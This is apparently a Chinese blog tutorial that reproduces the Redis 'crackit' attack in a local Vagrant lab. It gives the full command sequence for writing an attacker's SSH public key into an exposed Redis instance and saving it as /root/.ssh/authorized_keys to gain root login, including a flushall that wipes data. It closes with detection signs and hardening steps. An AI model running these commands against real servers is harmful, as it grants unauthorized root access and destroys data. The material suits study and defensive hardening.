1

最近爆出来的 Redis crackit 漏洞一直沸沸扬扬,趁着周末的时间研究了一下。研究之余不免感叹,这个漏洞简单粗暴,甚至可以说没有任何技术含量,却能对全球网络造成瘫痪之势,一夜之间几万台服务器接连沦陷。纵观这个漏洞的各个关键点,几乎都是由于配置疏忽导致的,可见运维同学还是任重而道远啊。

一、准备工作

网络入侵是违法行为,请在虚拟环境下进行本次实验!

为了在本地进行实验,首先,我们需要有一台安装了 redis-server 的虚拟机,我们使用 Vagrant 自带的 hashicorp/precise32 镜像,虚拟机启动好之后,使用 vagrant ssh 连接。

aneasystone@little-stone:~/vagrant$ vagrant init hashicorp/precise32
aneasystone@little-stone:~/vagrant$ vagrant up
aneasystone@little-stone:~/vagrant$ vagrant ssh
由于新的镜像中默认并没有 redis-server ,我们先要安装并启动它。这里要注意,vagrant 默认使用的用户名是 vagrant 用户,而不是 root 用户,需要使用下面的命令,切换到 root 用户,并使用 passwd 命令给 root 用户设置一个密码:

vagrant@precise32:~$ sudo su -
root@precise32:~# passwd
root 用户设置好之后,安装 redis-server:

root@precise32:~# apt-get install redis-server
运行 redis-server:

root@precise32:~# redis-server /etc/redis/redis.conf
至此,准备工作就绪,确保实验环境的 redis-server 已启动,并且是以 root 用户运行的:

二、折腾下 vagrant ssh

这里还有一点要注意,因为刚刚是使用 vagrant ssh 连接的虚拟机,和真实环境下使用 ssh 命令还是有所区别,为了使用 ssh 连接虚拟机,需要弄明白 vagrant ssh 的实现原理。我们通过 vagrant ssh-config 命令查看下 vagrant ssh 配置:

aneasystone@little-stone:~/vagrant$ vagrant ssh-config
Host default
HostName 127.0.0.1
User vagrant
Port 2222
UserKnownHostsFile /dev/null
StrictHostKeyChecking no
PasswordAuthentication no
IdentityFile /home/aneasystone/vagrant/.vagrant/machines/default/virtualbox/private_key
IdentitiesOnly yes
LogLevel FATAL
我们再看下 ssh 命令的 man 手册:

看看 vagrant 的这个配置,和 ssh 的 -o 选项完全一样。实际上,vagrant 正是通过 ssh 的 -o 或者 -F 来设置参数的。

我们将 vagrant ssh-config 导入到配置文件中:

aneasystone@little-stone:~/vagrant$ vagrant ssh-config > vagrant-ssh
然后通过 ssh 的 -F 参数,来连接虚拟机:

aneasystone@little-stone:~/vagrant$ ssh -F vagrant-ssh root@default
或者使用 -o 指定参数:

aneasystone@little-stone:~/vagrant$ ssh -o HostName=127.0.0.1 -o Port=2222 root@default
这个时候,我们就可以通过 ssh 来连接虚拟机了。这个步骤对于我们最后的成功入侵至关重要。

三、还原漏洞现场

做了这么多的铺垫,实际上真正的入侵只有下面几步:

3.1 生成 rsa 公钥和私钥

首先通过 ssh-keygen -t rsa 命令生成一对密钥文件(id_rsa 和 id_rsa.pub)

aneasystone@little-stone:~/vagrant$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/aneasystone/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pub.
The key fingerprint is:
SHA256:7Gak3RoiBuoUBceedJxMw8YTFF2n52aiS5MgTFl+tNg aneasystone@little-stone
The key's randomart image is:
+---[RSA 2048]----+
| ...BB=... . |
| oo+X=.. o |
| o++o.E . . |
| +o .. o |
| ..o . S. + |
| .... .=o.+ |
|.. o o=* . |
|o . ..+oo |
| . .. |
+----[SHA256]-----+
3.2 给公钥文件加上换行

由于生成的公钥文件只有一行,我们在前后加上几个空行。

aneasystone@little-stone:~/vagrant$ (echo -e "nn"; cat id_rsa.pub; echo -e "nn") > foo
3.3 将公钥写入 redis

通过联合 cat 和 redis-cli 的 -x 参数将公钥文件写到对方 redis 缓存里。这个地方要注意,如果对方的 redis 缓存不为空,需要使用 flushall 命令清空缓存。

请确保缓存中没有重要数据,清空之前请慎重!

aneasystone@little-stone:~/vagrant$ cat foo | redis-cli -h default -x set crackit
3.4 将公钥保存到对方的 /root/.ssh 目录

然后是攻击最后一步,也是最重要的一步!将公钥保存到对方的 .ssh 目录的 authorized_keys 文件!

这里假设了 redis-server 是以 root 身份运行的,并且对方机器上存在 /root/.ssh 目录。如果不是以 root 身份运行的,这里就需要猜用户名了。

$ redis-cli -h default
$ 127.0.0.1:6379> config set dir /root/.ssh/
OK
$ 127.0.0.1:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 127.0.0.1:6379> config set dbfilename authorized_keys
OK
$ 127.0.0.1:6379> save
OK
3.5 验收

如果一切顺利,对方服务器上的公钥文件已经被成功篡改了。那么使用我们刚刚创建的私钥(使用 ssh 的 -i 选项),可以无需密码即可连接对方机器:

aneasystone@little-stone:~/vagrant$ ssh -o HostName=127.0.0.1 -o Port=2222 -i id_rsa root@default
Welcome to Ubuntu 12.04.5 LTS (GNU/Linux 3.2.0-23-generic-pae i686)

Run 'do-release-upgrade' to upgrade to it.

Welcome to your Vagrant-built virtual machine.
Last login: Sun Nov 22 06:14:03 2015 from 10.0.2.2
root@precise32:~#
三、判断自己有没有中枪

如果出现以下情况,则说明很有可能你已经中枪:

缓存被莫名清空
缓存中多了一个 crackit (或其他类似的)键
使用 redis 的 config get dir 命令检查是否指向了 /root/.ssh
/.ssh/authorized_keys 文件有被篡改的痕迹
服务器上运行着不明进程
四、如何修复漏洞

纵观整个攻击流程,之所以很顺利,都是因为 redis-server 的默认配置有着诸多不足,而运维同学为了简单,都直接使用了默认配置。

修改 redis 的 bind 参数,不要 bind 0.0.0.0,让 redis 服务只能内网访问
修改 redis 的 requirepass 参数,访问 redis 增加密码认证
修改 redis 的 port 参数,不要使用默认的 6379 端口号
修改 redis 的 rename-command 参数,将 CONFIG 设置为 "" ,也就是禁用 CONFIG 命令
以非 root 用户运行 redis 服务
升级最近版 redis,(最新版的 redis 已经部分修复了该问题,默认 bind 127.0.0.1,并以 redis 用户运行的)


昌维
4.5k 声望160 粉丝

[链接]